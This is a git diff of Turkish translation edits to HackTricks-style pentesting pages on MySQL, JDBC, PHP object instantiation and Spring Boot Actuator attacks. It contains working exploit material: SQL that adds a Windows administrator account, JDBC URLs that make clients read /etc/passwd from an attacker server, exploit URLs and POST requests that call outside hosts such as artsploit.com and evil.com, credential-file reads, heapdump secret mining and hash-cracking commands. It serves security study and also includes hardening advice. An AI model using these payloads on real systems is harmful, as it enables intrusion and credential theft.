arayabilir ya da bu [**linux C code**](https://www.exploit-db.com/exploits/1518) dosyasını indirip zafiyetli linux makinede derleyebilirsiniz: ```bash gcc -g -c raptor_udf2.c gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc ``` -Kütüphaneyi elde ettiğinize göre, privileged user (root?) olarak Mysql'e giriş yapın ve aşağıdaki adımları izleyin: +Kütüphaneyi edindiğinize göre, Mysql'e ayrıcalıklı bir kullanıcı (root?) olarak giriş yapın ve şu adımları izleyin: #### Linux ```sql @@ -250,38 +252,38 @@ CREATE FUNCTION sys_exec RETURNS integer SONAME 'lib_mysqludf_sys_32.dll'; SELECT sys_exec("net user npn npn12345678 /add"); SELECT sys_exec("net localgroup Administrators npn /add"); ``` -#### Windows ipucu: SQL üzerinden NTFS ADS ile dizinler oluşturma +#### Windows ipucu: SQL'den NTFS ADS ile dizin oluşturma -NTFS üzerinde, yalnızca bir dosya yazma primitive'i mevcut olsa bile alternatif bir veri akışı kullanarak dizin oluşturmayı zorlayabilirsiniz. Eğer classic UDF chain bir `plugin` dizini bekliyorsa fakat bu dizin mevcut değilse ve `@@plugin_dir` bilinmiyor veya kısıtlanmışsa, önce onu `::$INDEX_ALLOCATION` ile oluşturabilirsiniz: +NTFS üzerinde, yalnızca bir file write primitive mevcut olsa bile alternate data stream (ADS) kullanarak dizin oluşturmayı zorlayabilirsiniz. Klasik UDF zinciri bir `plugin` dizini bekliyorsa fakat bu dizin yoksa ve `@@plugin_dir` bilinmiyor veya kısıtlanmışsa, önce `::$INDEX_ALLOCATION` ile oluşturabilirsiniz: ```sql SELECT 1 INTO OUTFILE 'C:\\MySQL\\lib\\plugin::$INDEX_ALLOCATION'; -- After this, `C:\\MySQL\\lib\\plugin` exists as a directory ``` -Bu, sınırlı `SELECT ... INTO OUTFILE`'ı, UDF drops için gereken klasör yapısını oluşturarak Windows stack'lerinde daha tam bir primitive'e dönüştürür. +Bu, sınırlı `SELECT ... INTO OUTFILE` yeteneğini Windows yığınlarında UDF drops için gereken klasör yapısını oluşturarak daha kapsamlı bir primitive'e dönüştürür. ### Dosyalardan MySQL kimlik bilgilerini çıkarma -_/etc/mysql/debian.cnf_ içinde **debian-sys-maint** kullanıcısının **düz metin parolasını** bulabilirsiniz. +İçinde _/etc/mysql/debian.cnf_ dosyasında **debian-sys-maint** kullanıcısının **plain-text password**'u bulunur. ```bash cat /etc/mysql/debian.cnf ``` Bu kimlik bilgilerini **mysql veritabanına giriş yapmak için kullanabilirsiniz**. -Inside the file: _/var/lib/mysql/mysql/user.MYD_ you can find **MySQL kullanıcılarının tüm hashes'lerini** (veritabanı içindeki mysql.user'dan çıkarabileceğinizler)_._ +Dosyanın içinde: _/var/lib/mysql/mysql/user.MYD_ MySQL kullanıcılarının **tüm hashes'lerini** (veritabanı içindeki mysql.user'dan çıkarabileceğinizler)_._ Bunları şu şekilde çıkarabilirsiniz: ```bash grep -oaE "[-_\.\*a-Z0-9]{3,}" /var/lib/mysql/mysql/user.MYD | grep -v "mysql_native_password" ``` -### Günlüklemeyi etkinleştirme +### Günlüğe kaydı etkinleştirme -mysql sorgularının kayıt tutulmasını `/etc/mysql/my.cnf` içinde aşağıdaki satırların yorum işaretlerini kaldırarak etkinleştirebilirsiniz: +mysql sorgularının günlük kaydını `/etc/mysql/my.cnf` içinde aşağıdaki satırların yorum işaretini kaldırarak etkinleştirebilirsiniz: ![](<../images/image (899).png>) ### Kullanışlı dosyalar -Yapılandırma Dosyaları +Configuration Files - windows \* - config.ini @@ -296,14 +298,14 @@ Yapılandırma Dosyaları - /var/lib/mysql/my.cnf - \~/.my.cnf - /etc/my.cnf -- Komut Geçmişi +- Command History - \~/.mysql.history -- Günlük Dosyaları +- Log Files - connections.log - update.log - common.log -## Varsayılan MySQL Database/Tables +## Varsayılan MySQL Veritabanı/Tabloları {{#tabs}} {{#tab name="information_schema"}} @@ -657,33 +659,32 @@ Command: msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_version; set RHOSTS ## 2023-2025 Öne Çıkanlar (yeni) ### JDBC `propertiesTransform` deserialization (CVE-2023-21971) -Connector/J <= 8.0.32 sürümlerinden itibaren, **JDBC URL**'yi etkileyebilen bir saldırgan (ör. bağlantı dizesi isteyen üçüncü taraf yazılımda) `propertiesTransform` parametresi aracılığıyla *client* side'a rastgele sınıfların yüklenmesini talep edebilir. Eğer class-path üzerinde yüklenebilir bir gadget varsa bu, **remote code execution in the context of the JDBC client** ile sonuçlanır (pre-auth, çünkü geçerli kimlik bilgileri gerekmez). Minimal bir PoC şöyle görünür: +Connector/J <= 8.0.32 sürümlerinden itibaren, **JDBC URL**'yi etkileyebilen bir saldırgan (örneğin bağlantı dizesi isteyen üçüncü taraf yazılımlarda) `propertiesTransform` parametresi aracılığıyla *istemci* tarafında rastgele sınıfların yüklenmesini talep edebilir. Class-path üzerinde mevcut bir gadget yüklenebiliyorsa bu **remote code execution in the context of the JDBC client** ile sonuçlanır (pre-auth, because no valid credentials are required). Minimal bir PoC şöyle görünür: ```java jdbc:mysql://:3306/test?user=root&password=root&propertiesTransform=com.evil.Evil ``` -`Evil.class` çalıştırmak, bunu zafiyetli uygulamanın class-path'inde üretmek kadar kolay olabilir veya kötü niyetli bir MySQL sunucusunun kötü amaçlı serileştirilmiş bir nesne göndermesine izin vermek kadar basit olabilir. Bu sorun Connector/J 8.0.33'te düzeltildi — sürücüyü yükseltin veya `propertiesTransform`'ı açıkça bir allow-list üzerine ayarlayın. -(Detaylar için Snyk yazısını inceleyin) +`Evil.class` çalıştırmak, zafiyetli uygulamanın class-path'ine yerleştirmek veya rogue MySQL sunucusunun zararlı serileştirilmiş bir obje göndermesine izin vermek kadar kolay olabilir. Sorun Connector/J 8.0.33'te düzeltildi – driver'ı güncelleyin veya açık listeye `propertiesTransform`'ı açıkça ayarlayın. (Detaylar için Snyk write-up'a bakın) -### JDBC istemcilerine yönelik Rogue / Fake MySQL sunucu saldırıları -Birçok açık kaynak araç, dışa bağlanan JDBC istemcilerine saldırmak için MySQL protokolünün *kısmi* bir uygulamasını gerçekleştirir: +### JDBC istemcilerine yönelik Rogue / Fake MySQL server saldırıları +Dışarı yönelen JDBC istemcilerine saldırmak için birkaç açık kaynak araç *partial* MySQL protokolünü uygular: * **mysql-fake-server** (Java, supports file read and deserialization exploits) -* **rogue_mysql_server** (Python, similar capabilities) +* **rogue_mysql_server** (Python, benzer yetenekler) Tipik saldırı yolları: 1. Hedef uygulama `mysql-connector-j`'i `allowLoadLocalInfile=true` veya `autoDeserialize=true` ile yükler. -2. Saldırgan, DB'nin hostname'inin kendi kontrolündeki bir makineye çözülmesini sağlayacak şekilde DNS / host girdisini kontrol eder. -3. Kötü amaçlı sunucu, ya `LOCAL INFILE` ile arbitrary file read ya da Java deserialization → RCE tetikleyen özel paketlerle yanıt verir. +2. Saldırgan DNS / host girdisini kontrol eder, böylece veritabanının hostname'i kendi kontrolündeki bir makineye çözümlenir. +3. Kötü amaçlı sunucu, ya `LOCAL INFILE` ile arbitrary file read ya da Java deserialization'ı tetikleyen hazırlanmış paketlerle yanıt vererek → RCE sağlar. -Sahte bir sunucu başlatmak için örnek tek satırlık komut (Java): +Fake bir sunucu başlatmak için örnek tek satırlık komut (Java): ```bash java -jar fake-mysql-cli.jar -p 3306 # from 4ra1n/mysql-fake-server ``` -Sonra hedef uygulamayı `jdbc:mysql://attacker:3306/test?allowLoadLocalInfile=true` adresine yönlendirip, dosya adını base64 olarak *kullanıcı adı* alanına kodlayarak `/etc/passwd` dosyasını okuyun (`fileread_/etc/passwd` → `base64ZmlsZXJlYWRfL2V0Yy9wYXNzd2Q=`). +Daha sonra hedef uygulamayı `jdbc:mysql://attacker:3306/test?allowLoadLocalInfile=true` adresine yönlendirip, dosya adını base64 olarak *username* alanına kodlayarak `/etc/passwd`'i okuyun (`fileread_/etc/passwd` → `base64ZmlsZXJlYWRfL2V0Yy9wYXNzd2Q=`). -### Cracking `caching_sha2_password` hashes -MySQL ≥ 8.0 parola hash'lerini **`$mysql-sha2$`** (SHA-256) olarak saklar. Hem Hashcat (mode **21100**) hem de John-the-Ripper (`--format=mysql-sha2`) 2023'ten beri çevrimdışı kırmayı destekliyor. `authentication_string` sütununu döküp doğrudan besleyin: +### `caching_sha2_password` hash'lerinin kırılması +MySQL ≥ 8.0 parola hash'lerini **`$mysql-sha2$`** (SHA-256) olarak saklar. Hem Hashcat (mode **21100**) hem de John-the-Ripper (`--format=mysql-sha2`) 2023'ten beri çevrimdışı kırmayı destekler. `authentication_string` sütununu döküp doğrudan besleyin: ```bash # extract hashes echo "$mysql-sha2$AABBCC…" > hashes.txt @@ -693,15 +694,15 @@ hashcat -a 0 -m 21100 hashes.txt /path/to/wordlist john --format=mysql-sha2 hashes.txt --wordlist=/path/to/wordlist ``` ### Sertleştirme kontrol listesi (2025) -• Çoğu dosya okuma/yazma yöntemini engellemek için **`LOCAL_INFILE=0`** ve **`--secure-file-priv=/var/empty`** ayarlayın. -• Uygulama hesaplarından **`FILE`** ayrıcalığını kaldırın. -• Connector/J'de `allowLoadLocalInfile=false`, `allowUrlInLocalInfile=false`, `autoDeserialize=false`, `propertiesTransform=` (boş) olarak ayarlayın. -• Kullanılmayan kimlik doğrulama eklentilerini devre dışı bırakın ve **TLS'i zorunlu kılın** (`require_secure_transport = ON`). +• Çoğu dosya okuma/yazma işlemini engellemek için **`LOCAL_INFILE=0`** ve **`--secure-file-priv=/var/empty`** ayarlayın. +• Uygulama hesaplarından **`FILE`** ayrıcalığını kaldırın. +• Connector/J üzerinde `allowLoadLocalInfile=false`, `allowUrlInLocalInfile=false`, `autoDeserialize=false`, `propertiesTransform=` (boş) ayarlayın. +• Kullanılmayan kimlik doğrulama eklentilerini devre dışı bırakın ve **TLS'i zorunlu kılın** (`require_secure_transport = ON`). • `CREATE FUNCTION`, `INSTALL COMPONENT`, `INTO OUTFILE`, `LOAD DATA LOCAL` ve ani `SET GLOBAL` ifadelerini izleyin. --- -## Referanslar +## References - [Pre-auth SQLi to RCE in Fortinet FortiWeb (watchTowr Labs)](https://labs.watchtowr.com/pre-auth-sql-injection-to-rce-fortinet-fortiweb-fabric-connector-cve-2025-25257/) - [Oracle MySQL Connector/J propertiesTransform RCE – CVE-2023-21971 (Snyk)](https://security.snyk.io/vuln/SNYK-JAVA-COMMYSQL-5441540) - [mysql-fake-server – Rogue MySQL server for JDBC client attacks](https://github.com/4ra1n/mysql-fake-server) diff --git a/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md b/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md index 17db5fdb5..bb02ba50c 100644 --- a/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md +++ b/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md @@ -1,4 +1,4 @@ -# PHP - RCE abusing object creation: new $_GET["a"]($_GET["b"]) +# PHP - RCE: nesne oluşturma suistimali: new $_GET["a"]($_GET["b"]) {{#include ../../../banners/hacktricks-training.md}} @@ -6,13 +6,13 @@ This is basically a summary of [https://swarm.ptsecurity.com/exploiting-arbitrar ## Giriş -new sorgusuna benzer keyfi nesnelerin oluşturulması, örneğin `new $_GET["a"]($_GET["a"])`, Remote Code Execution (RCE)'ye yol açabilir; detaylar bir [**writeup**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/) içinde ele alınmıştır. Bu doküman RCE elde etmek için çeşitli stratejileri öne çıkarır. +Rastgele yeni nesnelerin oluşturulması, ör. `new $_GET["a"]($_GET["a"])`, Remote Code Execution (RCE)'ye yol açabilir; detaylar bir [**inceleme**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/). Bu belge RCE elde etmek için çeşitli stratejileri özetlemektedir. -## RCE via Custom Classes or Autoloading +## RCE: Özel Sınıflar veya Otomatik Yükleme ile -`new $a($b)` sözdizimi, bir nesne oluşturmak için kullanılır; burada **`$a`** sınıf adını, **`$b`** ise konstruktöre geçirilen ilk argümanı temsil eder. Bu değişkenler GET/POST gibi kullanıcı girdilerinden gelebilir (string veya dizi olabilirler) veya JSON'dan geliyorlarsa farklı türlerde olabilirler. +`new $a($b)` sözdizimi, bir nesne örneği oluşturmak için kullanılır; burada **`$a`** sınıf adını, **`$b`** ise konstruktöre geçirilen ilk argümanı temsil eder. Bu değişkenler GET/POST gibi kullanıcı girdilerinden (string veya dizi olabilir) veya JSON'dan (farklı tiplerde görünebilir) elde edilebilir. -Aşağıdaki kod parçasını inceleyin: +Aşağıdaki kod parçasını düşünün: ```php class App { function __construct ($cmd) { @@ -31,9 +31,9 @@ $b = $_GET['b']; new $a($b); ``` -Bu durumda, `$a`'yı `App` veya `App2`'ye ve `$b`'yi bir sistem komutuna (ör. `uname -a`) ayarlamak, o komutun çalıştırılmasına neden olur. +Bu durumda, `$a`'yı `App` veya `App2` olarak, `$b`'yi ise bir sistem komutu (ör. `uname -a`) olarak ayarlamak, o komutun çalıştırılmasıyla sonuçlanır. -**Autoloading functions** doğrudan erişilebilir sınıflar yoksa istismar edilebilir. Bu fonksiyonlar ihtiyaç duyulduğunda sınıfları dosyalardan otomatik olarak yükler ve `spl_autoload_register` veya `__autoload` kullanılarak tanımlanır: +**Autoloading functions** bu tür sınıflara doğrudan erişilemiyorsa kötüye kullanılabilir. Bu fonksiyonlar gerektiğinde dosyalardan sınıfları otomatik olarak yükler ve `spl_autoload_register` veya `__autoload` kullanılarak tanımlanır: ```php spl_autoload_register(function ($class_name) { include './../classes/' . $class_name . '.php'; @@ -45,72 +45,72 @@ include $class_name . '.php'; spl_autoload_register(); ``` -Autoloading davranışı PHP sürümlerine göre değişir ve farklı RCE imkanları sunar. +Autoloading davranışı PHP sürümlerine göre değişir ve farklı RCE olanakları sunar. -## RCE aracılığıyla Yerleşik Sınıflar +## Yerleşik Sınıflarla RCE -Özel sınıflar veya autoloader'lar yoksa, **yerleşik PHP sınıfları** RCE için yeterli olabilir. Bu sınıfların sayısı PHP sürümüne ve eklentilere bağlı olarak 100 ila 200 arasında değişir. `get_declared_classes()` kullanılarak listelenebilirler. +Özel sınıflar veya autoloader'lar yoksa, **yerleşik PHP sınıfları** RCE için yeterli olabilir. Bu sınıfların sayısı PHP sürümüne ve yüklü eklentilere bağlı olarak yaklaşık 100 ile 200 arasında değişir. `get_declared_classes()` kullanılarak listelenebilirler. -İlgili constructor'lar reflection API kullanılarak tespit edilebilir, aşağıdaki örnekte ve şu linkte gösterildiği gibi: [https://3v4l.org/2JEGF](https://3v4l.org/2JEGF). +İlgili yapıcılar reflection API aracılığıyla tespit edilebilir; örnek ve bağlantı şu adreste gösterilmektedir: [https://3v4l.org/2JEGF](https://3v4l.org/2JEGF). -**RCE via specific methods includes:** +**Belirli yöntemlerle RCE şunları içerir:** ### **SSRF + Phar Deserialization** -`SplFileObject` sınıfı constructor'ı üzerinden SSRF'ye izin verir, herhangi bir URL'ye bağlantılara olanak tanır: +`SplFileObject` sınıfı yapıcısı aracılığıyla SSRF'ye izin verir; herhangi bir URL'ye bağlantıya olanak tanır: ```php new SplFileObject('http://attacker.com/'); ``` -SSRF, Phar protocol kullanılarak PHP 8.0'dan önceki sürümlerde deserialization attacks'e yol açabilir. +SSRF, Phar protokolünü kullanarak PHP 8.0'dan önceki sürümlerde deserialization saldırılarına yol açabilir. -### **Exploiting PDOs** +### **PDO'ların İstismarı** -PDO class constructor, DSN strings aracılığıyla veritabanlarına bağlantılara izin verir, potansiyel olarak dosya oluşturma veya diğer etkileşimleri mümkün kılabilir: +PDO sınıfının yapıcı fonksiyonu, DSN strings aracılığıyla veritabanlarına bağlanmaya izin verir; bu da potansiyel olarak dosya oluşturma veya diğer etkileşimlere olanak sağlayabilir: ```php new PDO("sqlite:/tmp/test.txt") ``` ### **SoapClient/SimpleXMLElement XXE** -PHP'in 5.3.22 ve 5.4.12'ye kadar olan sürümleri, libxml2 sürümüne bağlı olarak `SoapClient` ve `SimpleXMLElement` yapıcıları aracılığıyla XXE saldırılarına açıktı. +PHP'in 5.3.22 ve 5.4.12'ye kadar olan sürümleri, libxml2 sürümüne bağlı olarak `SoapClient` ve `SimpleXMLElement` constructor'ları aracılığıyla XXE saldırılarına açıktı. ## RCE via Imagick Extension -Bir **projenin bağımlılıklarının** analizinde, yeni nesneler oluşturularak **Imagick**'in **komut yürütme** için kullanılabileceği keşfedildi. Bu, zafiyetleri istismar etme fırsatı sunar. +Bir projenin **bağımlılıklarının** analizinde, yeni nesneler oluşturarak **Imagick**'in **komut çalıştırma** için kullanılabileceği keşfedildi. Bu, zafiyetlerin istismar edilmesi için bir fırsat sunar. ### VID parser -VID parser'ın dosya sisteminde belirtilen herhangi bir yola içerik yazabilme yeteneği tespit edildi. Bu, web'den erişilebilir bir dizine bir PHP shell yerleştirilmesine ve Remote Code Execution (RCE) elde edilmesine yol açabilir. +VID parser'ın dosya sistemindeki herhangi bir belirtilen yola içerik yazma yeteneği tespit edildi. Bu, bir PHP shell'in web'e erişilebilir bir dizine yerleştirilmesine ve Remote Code Execution (RCE) elde edilmesine yol açabilir. #### VID Parser + File Upload -PHP'nin yüklenen dosyaları geçici olarak `/tmp/phpXXXXXX` içinde tuttuğu not edilmiştir. Imagick'teki VID parser, **msl** protokolünü kullanarak dosya yollarında wildcard'ları işleyebilir ve geçici dosyanın seçilen bir konuma aktarılmasını kolaylaştırır. Bu yöntem, dosya sistemi içinde keyfi dosya yazma sağlamak için ek bir yol sunar. +PHP'nin yüklenen dosyaları geçici olarak `/tmp/phpXXXXXX` içinde sakladığı not edildi. Imagick içindeki VID parser, **msl** protokolünü kullanarak dosya yollarındaki joker karakterleri işleyebilir ve böylece geçici dosyanın seçilen bir konuma taşınmasını sağlar. Bu yöntem, dosya sistemi içinde rastgele dosya yazma elde etmek için ek bir yol sunar. ### PHP Crash + Brute Force -[**original writeup**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/)'da açıklanan bir yöntem, silinmeden önce sunucu çökmesine yol açan dosyaların yüklenmesini içerir. Geçici dosyanın adını brute-force ile tahmin ederek, Imagick'in keyfi PHP kodu çalıştırması mümkün olabilir. Ancak bu teknik yalnızca eski bir ImageMagick sürümünde etkili bulunmuştur. +[**original writeup**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/) içinde tanımlanan bir yöntem, silinmeden önce sunucu çökmesine neden olan dosyaların yüklenmesini içeriyor. Geçici dosyanın adını brute-forcing ile tahmin ederek, Imagick'in rastgele PHP kodu çalıştırması mümkün hale geliyor. Ancak bu teknik yalnızca eski bir ImageMagick sürümünde etkili bulundu. ## Format-string in class-name resolution (PHP 7.0.0 Bug #71105) -Kullanıcı girdisi sınıf adını kontrol ettiğinde (ör. `new $_GET['model']()`), PHP 7.0.0 `Throwable` yeniden düzenlemesi sırasında geçici bir hata getirdi; motor sınıf adını çözümleme sırasında yanlışlıkla bir printf format stringi olarak ele aldı. Bu, PHP içinde klasik printf-tarzı ilkel işlemleri mümkün kılar: `%p` ile leaks, genişlik belirticileriyle yazma-sayısı kontrolü ve işlem içi pointer'lara (örneğin ELF derlemelerdeki GOT girdilerine) karşı `%n` ile rastgele yazmalar. +Kullanıcı girdisi sınıf adını kontrol ettiğinde (ör. `new $_GET['model']()`), PHP 7.0.0 `Throwable` yeniden düzenlemesi sırasında geçici bir hata getirdi; motor çözümleme sırasında sınıf adını yanlışlıkla printf format string'i olarak ele aldı. Bu, PHP içinde klasik printf-style primitiflerin kullanılmasını sağlar: `%p` ile leaks, genişlik belirleyicileriyle yazma-sayısı kontrolü ve süreç içi işaretçilere (ör. ELF build'lerinde GOT kayıtlarına) karşı `%n` ile rastgele yazmalar. -Minimal repro zafiyet deseni: +Minimal reproducible zafiyet örneği: ```php d%$n` kullanırlar. +Notes: +- Works only on PHP 7.0.0 (Bug [#71105](https://bugs.php.net/bug.php?id=71105)); fixed in subsequent releases. Severity: critical if arbitrary class instantiation exists. +- Tipik payloads birçok `%p` zincirleyerek yığını gezer, sonra kısmi overwrite'ı gerçekleştirmek için `%.d%$n` kullanır. ## References diff --git a/src/network-services-pentesting/pentesting-web/spring-actuators.md b/src/network-services-pentesting/pentesting-web/spring-actuators.md index 5d9a3f7e7..503683102 100644 --- a/src/network-services-pentesting/pentesting-web/spring-actuators.md +++ b/src/network-services-pentesting/pentesting-web/spring-actuators.md @@ -1,4 +1,4 @@ -# Spring Actuators +# Spring Actuator'ları {{#include ../../banners/hacktricks-training.md}} @@ -6,29 +6,29 @@
-**From** [**https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png**](https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png) +**Kaynak** [**https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png**](https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png) -## Spring Boot Actuator'larının İstismarı +## Spring Boot Actuator'larının Sömürülmesi -**Orijinal gönderiyi şuradan kontrol edin:** \[**https://www.veracode.com/blog/research/exploiting-spring-boot-actuators**] +**Orijinal gönderiyi kontrol edin:** [**https://www.veracode.com/blog/research/exploiting-spring-boot-actuators**](https://www.veracode.com/blog/research/exploiting-spring-boot-actuators) -### **Ana Noktalar:** +### **Önemli Noktalar:** -- Spring Boot Actuators, `/health`, `/trace`, `/beans`, `/env` gibi endpoint'leri kaydeder. 1 ile 1.4 sürümlerinde bu endpoint'ler kimlik doğrulama olmadan erişilebilirdir. 1.5 ve sonrasında varsayılan olarak yalnızca `/health` ve `/info` hassas olmayan olarak bırakılır, ancak geliştiriciler genellikle bu güvenliği devre dışı bırakır. -- Bazı Actuator endpoint'leri hassas verileri açığa çıkarabilir veya zararlı işlemlere izin verebilir: +- Spring Boot Actuator'lar `/health`, `/trace`, `/beans`, `/env` vb. gibi endpoint'leri kaydeder. 1 ile 1.4 sürümlerinde bu endpoint'ler kimlik doğrulama olmadan erişilebilirdir. 1.5 ve sonrası sürümlerde varsayılan olarak sadece `/health` ve `/info` non-sensitive (duyarlı olmayan) olarak kalır, fakat geliştiriciler genellikle bu güvenliği devre dışı bırakır. +- Belirli Actuator endpoint'leri hassas verileri açığa çıkarabilir veya zararlı işlemlere izin verebilir: - `/dump`, `/trace`, `/logfile`, `/shutdown`, `/mappings`, `/env`, `/actuator/env`, `/restart`, ve `/heapdump`. -- Spring Boot 1.x'te actuator'lar kök URL altında kayıtlıyken, 2.x'te `/actuator/` temel yolu altındadır. +- Spring Boot 1.x'te actuator'lar root URL altında kayıtlı iken, 2.x'te `/actuator/` base path'i altında bulunur. -### **İstismar Teknikleri:** +### **Sömürme Teknikleri:** 1. **Remote Code Execution via '/jolokia'**: -- `/jolokia` actuator endpoint'i, Jolokia Library'yi açığa çıkarır ve bu, MBean'lere HTTP ile erişim sağlar. -- `reloadByURL` action'ı, harici bir URL'den logging konfigürasyonlarını yeniden yüklemek için suistimal edilebilir; bu, hazırlanmış XML konfigürasyonları üzerinden blind XXE veya Remote Code Execution'a yol açabilir. +- `/jolokia` actuator endpoint'i Jolokia Library'yi açığa çıkarır; bu, MBeans'e HTTP erişimine izin verir. +- `reloadByURL` action'ı, logging yapılandırmalarını harici bir URL'den yeniden yüklemek için kötüye kullanılabilir; bu, craft edilmiş XML konfigürasyonları aracılığıyla blind XXE veya Remote Code Execution'a yol açabilir. - Örnek exploit URL: `http://localhost:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/artsploit.com!/logback.xml`. -2. **Konfigürasyon Değişikliği via '/env'**: +2. **Config Modification via '/env'**: -- Eğer Spring Cloud Libraries mevcutsa, `/env` endpoint'i çevresel özelliklerin değiştirilmesine izin verir. -- Özellikler, Eureka serviceURL'deki XStream deserialization açığı gibi zayıflıkları istismar etmek için manipüle edilebilir. +- Eğer Spring Cloud Libraries bulunuyorsa, `/env` endpoint'i ortam (environment) property'lerinin değiştirilmesine izin verir. +- Property'ler, örneğin Eureka serviceURL'deki XStream deserialization zafiyeti gibi açıkları tetiklemek için manipüle edilebilir. - Örnek exploit POST isteği: ``` @@ -40,30 +40,30 @@ Content-Length: 65 eureka.client.serviceUrl.defaultZone=http://artsploit.com/n/xstream ``` -3. **Diğer Faydalı Ayarlar**: -- `spring.datasource.tomcat.validationQuery`, `spring.datasource.tomcat.url` ve `spring.datasource.tomcat.max-active` gibi özellikler, SQL injection veya veritabanı bağlantı stringlerini değiştirme gibi çeşitli istismarlar için manipüle edilebilir. +3. **Diğer Yararlı Ayarlar**: +- `spring.datasource.tomcat.validationQuery`, `spring.datasource.tomcat.url` ve `spring.datasource.tomcat.max-active` gibi property'ler SQL injection veya veritabanı bağlantı string'lerini değiştirme gibi çeşitli istismarlar için manipüle edilebilir. ### **Ek Bilgiler:** -- Varsayılan actuator'ların kapsamlı bir listesi [burada](https://github.com/artsploit/SecLists/blob/master/Discovery/Web-Content/spring-boot.txt) bulunabilir. -- Spring Boot 2.x'teki `/env` endpoint'i, özellik değişiklikleri için JSON formatı kullanır; fakat genel konsept aynıdır. +- Varsayılan actuator'ların kapsamlı bir listesi şurada bulunabilir: https://github.com/artsploit/SecLists/blob/master/Discovery/Web-Content/spring-boot.txt +- Spring Boot 2.x'teki `/env` endpoint'i property değişiklikleri için JSON formatını kullanır; fakat genel kavram aynıdır. ### **İlgili Konular:** 1. **Env + H2 RCE**: -- `/env` endpoint'i ile H2 veritabanının kombinasyonunun nasıl istismar edileceğine dair detaylar [burada](https://spaceraccoon.dev/remote-code-execution-in-three-acts-chaining-exposed-actuators-and-h2-database) bulunabilir. +- `/env` endpoint'i ile H2 veritabanının kombinasyonunu kullanarak istismar detayları şurada bulunabilir: https://spaceraccoon.dev/remote-code-execution-in-three-acts-chaining-exposed-actuators-and-h2-database 2. **SSRF on Spring Boot Through Incorrect Pathname Interpretation**: -- Spring framework'ünün HTTP yol adlarındaki matrix parametrelerini (`;`) işlemesi, Server-Side Request Forgery (SSRF) için kullanılabilir. +- Spring framework'ünün HTTP pathnames içinde matrix parametreleri (`;`) işlemesi yanlış yorumlanırsa Server-Side Request Forgery (SSRF) için kullanılabilir. - Örnek exploit isteği: ```http GET ;@evil.com/url HTTP/1.1 Host: target.com Connection: close ``` -## HeapDump ile gizli bilgilerin çıkarılması (credentials, tokens, internal URLs) +## HeapDump secrets mining (credentials, tokens, internal URLs) -Eğer `/actuator/heapdump` açık durumdaysa, genellikle canlı gizli bilgileri içeren tam bir JVM heap snapshot'ı alabilirsiniz (DB creds, API anahtarları, Basic-Auth, dahili servis URL'leri, Spring property map'leri vb.). +Eğer `/actuator/heapdump` erişilebiliyorsa, genellikle canlı secret'lar (DB creds, API keys, Basic-Auth, internal service URLs, Spring property maps vb.) içeren tam bir JVM heap snapshot'ı alabilirsiniz. - İndir ve hızlı ön inceleme: ```bash @@ -75,32 +75,32 @@ printf %s 'RXhhbXBsZUJhc2U2NEhlcmU=' | base64 -d ``` - Daha derin analiz için VisualVM ve OQL: -- Heapdump'ı VisualVM ile açın, `java.lang.String` örneklerini inceleyin veya gizli bilgileri aramak için OQL çalıştırın: +- Heapdump'ı VisualVM ile açın, `java.lang.String` örneklerini inceleyin veya secret avlamak için OQL çalıştırın: ``` select s.toString() from java.lang.String s where /Authorization: Basic|jdbc:|password=|spring\.datasource|eureka\.client|OriginTrackedMapPropertySource/i.test(s.toString()) ``` -- JDumpSpider ile otomatik çıkarım: +- Otomatik çıkartma için JDumpSpider: ```bash java -jar JDumpSpider-*.jar heapdump ``` Tipik yüksek değerli bulgular: - `DataSourceProperties` / `HikariDataSource` gibi Spring nesneleri `url`, `username`, `password` bilgilerini açığa çıkarabilir. -- `OriginTrackedMapPropertySource` girdileri `management.endpoints.web.exposure.include`, servis portları ve URL'lerde gömülü Basic-Auth (ör. Eureka `defaultZone`) gibi bilgileri ifşa edebilir. -- Bellekte yakalanmış `Authorization: Basic ...` içeren düz HTTP istek/yanıt parçaları. +- `OriginTrackedMapPropertySource` girdileri `management.endpoints.web.exposure.include`, servis portları ve URL'lerde gömülü Basic-Auth (ör. Eureka `defaultZone`) gibi bilgileri ortaya çıkarır. +- Bellekte yakalanmış `Authorization: Basic ...` içeren düz HTTP istek/yanıt parçacıkları. İpuçları: -- Actuator endpoint'lerini hızlıca keşfetmek için Spring odaklı bir wordlist kullanın (ör. SecLists spring-boot.txt) ve her zaman `/actuator/logfile`, `/actuator/httpexchanges`, `/actuator/env` ve `/actuator/configprops`'un da açık olup olmadığını kontrol edin. -- Heapdump'tan elde edilen credentials genellikle bitişik servisler için ve bazen sistem kullanıcıları (SSH) için de çalışır; bu yüzden genişçe deneyin. +- Actuator endpoint'lerini hızlıca keşfetmek için Spring odaklı bir wordlist kullanın (ör. SecLists spring-boot.txt) ve ayrıca `/actuator/logfile`, `/actuator/httpexchanges`, `/actuator/env` ve `/actuator/configprops`'un da açık olup olmadığını kontrol edin. +- Heapdump'tan elde edilen credentials genellikle bitişik servislerde ve bazen sistem kullanıcılarında (SSH) da işe yarar; bu yüzden geniş çapta deneyin. -## Actuator loggers/logging'i kötüye kullanarak kimlik bilgilerini yakalama +## Abusing Actuator loggers/logging to capture credentials -Eğer `management.endpoints.web.exposure.include` izin veriyorsa ve `/actuator/loggers` açık durumdaysa, kimlik doğrulama ve istek işleme paketleri için log seviyesini dinamik olarak DEBUG/TRACE seviyesine çıkarabilirsiniz. `/actuator/logfile` veya bilinen log yolları üzerinden okunabilir loglarla birleştirildiğinde, bu login 